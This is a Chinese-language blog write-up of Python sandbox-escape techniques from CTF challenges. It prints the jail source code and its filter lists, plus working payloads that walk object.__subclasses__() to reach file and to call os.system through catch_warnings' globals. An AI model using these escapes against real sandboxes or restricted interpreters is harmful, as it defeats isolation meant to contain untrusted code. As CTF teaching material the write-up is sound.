本文共 3967 字,大约阅读时间需要 13 分钟。
之前,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。
这是hackuctf 2012的一道题
defmake_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'] for func in UNSAFE: del __builtins__.__dict__[func] fromre import findall #Remove dangerous builtins make_secure() print'Go Ahead, Expoit me >;D' whileTrue: try: print ">>>", # Read user input until the firstwhitespace character inp = findall('\S+',raw_input())[0] a = None # Set a to the result from executingthe user input exec 'a=' + inp print '>>>', a except Exception, e: print 'Exception:', e
下面是脚本运行的效果。
效果相当于python的命令界面,我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤,读取的命令如下,导入os包,然后直接执行命令。
但是直接导入os会报错,如下图
因为 del 命令删除了对应的命令,如下图
看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息,元组,子对象
由于file在索引40,我们可以硬编码。如下图
用file类型读取flag文件。
#!/usr/bin/envpython from__future__ import print_function print("Welcometo my Python sandbox! Enter commands below!") banned= [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys" ] targets= __builtins__.__dict__.keys() targets.remove('raw_input') targets.remove('print') forx in targets: del __builtins__.__dict__[x] while1: print(">>>", end='') data = raw_input() for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
相对于第一题,第二题是没有直接的回显。
我们可以用catch_warnings类(索引在59),进行命令执行。
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
#-*-coding:utf-8-*- #!/usr/bin/python3 importsys, cmd, os del__builtins__.__dict__['__import__'] del__builtins__.__dict__['eval'] intro= """ pwnhubcuit pwneverything Rules: -No import -No ... -No flag """ defexecute(command): exec(command, globals()) classJail(cmd.Cmd): prompt = '>>> ' filtered ='\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|') def do_EOF(self, line): sys.exit() def emptyline(self): return cmd.Cmd.emptyline(self) def default(self, line): sys.stdout.write('\x00') def postcmd(self, stop, line): if any(f in line for f inself.filtered): print("You are a big hacker!!!") print("Go away") else: try: execute(line) except NameError: print("NameError: name'%s' is not defined" % line) except Exception: print("Error: %s" %line) return cmd.Cmd.postcmd(self, stop,line) if__name__ == "__main__": try: Jail().cmdloop(intro) except KeyboardInterrupt: print("\rSee you next time!")
这题是cuit2017的题目,python3环境
这里主要过滤了大量的字符,包括1,2题所用的点号。
print(getattr(os,"system")
获取system函数地址,
print(getattr(os,"system")("ls"))
执行system(“ls”)
下面是获取flag的姿势
以上都是利用Python作为脚本语言的特性来逃逸,但是还有一种高深的基于c源码的逃逸,简单点就是用c程序的漏洞实现漏洞,类似于PWN。最后也提供了参考链接,欢迎一起交流学习。
参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html